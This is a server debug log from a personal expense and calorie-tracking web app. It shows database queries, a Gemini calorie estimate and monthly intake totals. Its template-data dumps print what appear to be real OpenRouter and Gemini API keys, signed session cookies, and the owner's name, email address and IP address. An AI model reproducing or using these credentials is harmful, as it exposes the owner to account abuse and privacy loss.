2025-12-20T04:08:53.805Z server-connect:output identity: 1
2025-12-20T04:08:53.805Z server-connect:app Executing action step restrict
2025-12-20T04:08:53.805Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:08:53.807Z server-connect:app Executing action step identify
2025-12-20T04:08:53.807Z server-connect:app options: { provider: 'security' }
2025-12-20T04:08:53.807Z server-connect:output identity: 1
2025-12-20T04:08:53.807Z server-connect:app Executing action step restrict
2025-12-20T04:08:53.807Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:08:53.808Z server-connect:output restrict: undefined
2025-12-20T04:08:53.808Z server-connect:app Executing action step select
2025-12-20T04:08:53.808Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T04:08:53.809Z server-connect:output restrict: undefined
2025-12-20T04:08:53.809Z server-connect:app Executing action step single
2025-12-20T04:08:53.809Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T04:08:53.811Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T04:08:53.813Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T04:08:56.292Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T04:08:56.292Z server-connect:app Executing action step identify
2025-12-20T04:08:56.292Z server-connect:app options: { provider: 'security' }
2025-12-20T04:08:56.292Z server-connect:output identity: 1
2025-12-20T04:08:56.292Z server-connect:app Executing action step restrict
2025-12-20T04:08:56.292Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:08:56.293Z server-connect:output restrict: undefined
2025-12-20T04:08:56.293Z server-connect:router Render template calorie-tracker
2025-12-20T04:08:56.293Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.248.157',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.157',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.157',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:08:56.542Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T04:08:56.542Z server-connect:app Executing action step identify
2025-12-20T04:08:56.542Z server-connect:app options: { provider: 'security' }
2025-12-20T04:08:56.542Z server-connect:output identity: 1
2025-12-20T04:08:56.542Z server-connect:app Executing action step restrict
2025-12-20T04:08:56.542Z server-connect:app options: { provider: 'security' }
2025-12-20T04:08:56.542Z server-connect:output restrict: undefined
2025-12-20T04:08:56.542Z server-connect:app Executing action step single
2025-12-20T04:08:56.542Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T04:08:56.544Z server-connect:output summary: undefined
2025-12-20T04:08:56.546Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T04:08:56.546Z server-connect:app Executing action step identify
2025-12-20T04:08:56.546Z server-connect:app options: { provider: 'security' }
2025-12-20T04:08:56.546Z server-connect:output identity: 1
2025-12-20T04:08:56.546Z server-connect:app Executing action step restrict
2025-12-20T04:08:56.546Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:08:56.547Z server-connect:output restrict: undefined
2025-12-20T04:08:56.547Z server-connect:app Executing action step single
2025-12-20T04:08:56.547Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T04:08:56.548Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T04:08:56.548Z server-connect:app Executing action step select
2025-12-20T04:08:56.548Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T04:08:56.550Z server-connect:output item_list: []
2025-12-20T04:08:56.550Z server-connect:app Executing action step setvalue
2025-12-20T04:08:56.550Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T04:08:56.550Z server-connect:output var_total: 0
2025-12-20T04:08:56.550Z server-connect:app Executing action step setvalue
2025-12-20T04:08:56.550Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T04:08:56.550Z server-connect:output var_consumed: 0
2025-12-20T04:08:56.550Z server-connect:app Executing action step setvalue
2025-12-20T04:08:56.550Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T04:08:56.550Z server-connect:output var_deficit: 2400
2025-12-20T04:08:56.550Z server-connect:app Executing action step custom
2025-12-20T04:08:56.550Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T04:08:56.551Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  }
]
2025-12-20T04:08:57.049Z server-connect:app Executing action step identify
2025-12-20T04:08:57.049Z server-connect:app options: { provider: 'security' }
2025-12-20T04:08:57.049Z server-connect:output identity: 1
2025-12-20T04:09:17.542Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T04:09:17.543Z server-connect:app Executing action step identify
2025-12-20T04:09:17.543Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:17.543Z server-connect:output identity: 1
2025-12-20T04:09:17.543Z server-connect:app Executing action step restrict
2025-12-20T04:09:17.543Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:09:17.544Z server-connect:output restrict: undefined
2025-12-20T04:09:17.544Z server-connect:app Executing action step processWithGemini
2025-12-20T04:09:17.544Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T04:09:20.620Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Pre-workout',
      quantity: '1 scoop',
      calories_consumed: null,
      total_calories: null,
      protein: null,
      carbs: null,
      fat: null,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
    },
    {
      food_name: 'Paneer (soft and fluffy)',
      quantity: '110 gm',
      calories_consumed: 352,
      total_calories: 352,
      protein: 22.55,
      carbs: 4.4,
      fat: 27.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
    }
  ],
  total_macros: {
    protein: { value: 22.55, unit: 'grams' },
    carbs: { value: 4.4, unit: 'grams' },
    fat: { value: 27.5, unit: 'grams' },
    calories: { value: 352, unit: 'calories' }
  }
}
2025-12-20T04:09:38.334Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-20T04:09:38.335Z server-connect:app Executing action step identify
2025-12-20T04:09:38.335Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:38.335Z server-connect:output identity: 1
2025-12-20T04:09:38.335Z server-connect:app Executing action step restrict
2025-12-20T04:09:38.335Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:09:38.335Z server-connect:output restrict: undefined
2025-12-20T04:09:38.335Z server-connect:app Executing action step condition
2025-12-20T04:09:38.335Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-20T04:09:38.336Z server-connect:app Executing action step repeat
2025-12-20T04:09:38.336Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-20T04:09:38.336Z server-connect:app Executing action step insert
2025-12-20T04:09:38.336Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T04:09:38.336Z server-connect:output calories: { affected: 1, identity: 460 }
2025-12-20T04:09:38.337Z server-connect:app Executing action step insert
2025-12-20T04:09:38.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T04:09:38.338Z server-connect:output calories: { affected: 1, identity: 461 }
2025-12-20T04:09:38.338Z server-connect:output repeat: [ {}, {} ]
2025-12-20T04:09:38.338Z server-connect:output condition: undefined
2025-12-20T04:09:38.692Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T04:09:38.693Z server-connect:app Executing action step identify
2025-12-20T04:09:38.693Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:38.693Z server-connect:output identity: 1
2025-12-20T04:09:38.693Z server-connect:app Executing action step restrict
2025-12-20T04:09:38.693Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:09:38.693Z server-connect:output restrict: undefined
2025-12-20T04:09:38.693Z server-connect:router Render template layouts/main
2025-12-20T04:09:38.693Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
